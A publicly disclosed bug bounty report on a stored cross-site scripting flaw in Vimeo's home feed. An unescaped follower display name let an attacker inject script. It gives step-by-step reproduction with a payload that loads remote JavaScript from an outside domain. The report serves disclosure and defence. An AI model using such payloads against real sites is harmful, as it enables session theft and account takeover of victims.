HexBrain

Vimeo · Report #87854

XSS on vimeo.com/home after other user follows you

Validstatus
19upvotes
31 Aug 2017disclosed

How it was found

Description

If some user follows you on Vimeo, the Name of the user appears in the header of your Home like "[Name] followed you. The staff posted...". The problem is that the Name is not escaped, which allows to insert HTML code.

Proof of concept

  1. Using the attacker's account, go to https://vimeo.com/settings.
  2. Change the Name to <script src=//u00f1.xyz>.
  3. Click on Save Changes.
  4. Go to the victim's Profile.
  5. Click on Follow (is at the bottom of the profile picture).
  6. Using the victim's account, go to https://vimeo.com/home.
  7. https://u00f1.xyz is loaded and alert(document.domain) is executed.

I attached a screen capture to identify where the Name of the attacker appears. In this case I used an <img> as the Name of the attacker, you can notice the broken image.

This report was disclosed publicly on HackerOne and belongs to its author and the program. See the original